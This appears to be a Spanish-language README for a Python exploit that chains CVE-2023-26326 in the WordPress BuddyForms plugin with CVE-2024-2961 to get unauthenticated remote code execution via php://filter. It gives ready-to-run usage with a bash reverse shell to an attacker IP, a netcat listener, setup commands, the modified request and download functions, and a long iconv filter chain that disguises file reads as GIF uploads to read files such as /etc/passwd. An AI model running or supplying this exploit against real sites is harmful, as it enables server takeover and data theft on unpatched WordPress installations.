
Exploit en Python para CVE-2023-26326 (WordPress BuddyForms) encadenado con CVE-2024-2961 para lograr la ejecución remota de código no autenticada a través de php://filter en PHP 8+.
usage: python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
Originalmente, CVE-2023–26326 requería cadenas de gadgets para explotarla como una vulnerabilidad de deserialización. Este método ya no es viable en sitios WordPress más nuevos que ejecutan PHP 8+; sin embargo, al encadenar con CVE-2024-2961](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1), el exploit se vuelve posible a través de php://filter en lugar de phar://.
El exploit fue creado modificando el script cnext-exploit.py, incorporando los cambios necesarios para CVE-2023-26326, como se detalla en la Descripción de los cambios.
git clone https://github.com/omarelshopky/exploit_cve-2023-26326_using_cve-2024-2961.git
cd exploit_cve-2023–26326_using_cve-2024-2961
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
<ATTACKER_PORT> para capturar la shell inversa:nc -lvnp <ATTACKER_PORT>
python exploit.py "<TARGET_URL>/wp-admin/admin-ajax.php" 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<ATTACKER_PORT> 0>&1"'
captura de pantalla de la ejecución del exploit
captura de pantalla de la captura de la shell inversa
La idea central detrás del exploit CVE-2024-2961 se mantuvo, pero se necesitaron modificaciones para adaptarlo y poder enviar la cadena de filtros al sitio web y descargar archivos del servidor.
En el exploit original, la función send se utiliza para enviar una ruta al servidor:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={"file": path})
Para WordPress con BuddyForms, la interacción ocurre por defecto mediante una petición POST a /wp-admin/admin-ajax.php, donde el cuerpo de los datos contiene action=upload_image_from_url&url=<INJECT_POINT>&id=1&accepted_files=image/gif. El parámetro URL sirve como punto de inyección para enviar la cadena de filtros al servidor. Esto resultó en la siguiente modificación de la función send:
def send(self, path: str) -> Response:
return self.session.post(self.url, data={
"action" : "upload_image_from_url",
"url" : urllib.parse.quote_plus(path),
"id" : "1",
"accepted_files" : "image/gif"
})
El exploit original tenía una función download responsable de descargar archivos del servidor. La siguiente versión de la función download se utiliza en el exploit original:
def download(self, path: str) -> bytes:
path = f"php://filter/convert.base64-encode/resource={path}"
response = self.send(path)
data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
return base64.decode(data)
Para adaptarlo a BuddyForms, analizamos la función buddyforms_upload_image_from_url, que se encarga de subir imágenes desde una URL. Usa file_get_contents, comprueba el tipo de archivo con getimagesize() y luego guarda el contenido en el directorio wp-content/uploads. Esto nos permite explotar php://filter para leer archivos locales y guardarlos en el directorio de uploads, haciéndolos accesibles vía URL. Sin embargo, debemos evadir la comprobación de archivo anteponiendo GIF89a al contenido del archivo para simular que es un GIF. Esto puede hacerse mediante cadenas de filtros, y la herramienta wrapwrap puede generar la cadena necesaria:
git clone https://github.com/ambionics/wrapwrap.git
cd wrapwrap
./wrapwrap.py /etc/passwd 'GIF89a' '' 1000
generación de la cadena de filtros con wrapwrap
Esta cadena de filtros generada debe reemplazar la codificación base64 utilizada en el script original. Además, el formato para extraer la ruta del archivo subido de la respuesta debe actualizarse para adaptarse al formato JSON, que incluye el atributo "response" establecido como la ruta del archivo.
{"status":"OK","response":"http:\/\/victim.site\/wp-content\/uploads\/2025\/02\/1-106.png","attachment_id":261}
{"status":"FAILED","response":"File type is not allowed."}
Ten en cuenta que el prefijo GIF89a debe eliminarse antes de usar el contenido del archivo en el exploit, lo que da como resultado la siguiente función download modificada:
def download(self, path: str) -> bytes:
# Append prefix "GIF89a" to bypass file type check with getimagesize()
path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
response_data = self.send(path).json()
if response_data == "FAILED":
print(f"[-] Unable to download files, error message: {response_data['response']}")
exit(0)
file_path = response_data["response"]
# Remove the prefix "GIF89a"
return self.session.get(file_path).content[6:]
libc.so.6Ten en cuenta que descargar el archivo libc.so.6 del servidor puede no funcionar correctamente con las cadenas de filtros, ya que el binario se modifica durante el proceso. En su lugar, el archivo correcto debe proporcionarse en el directorio raíz del exploit.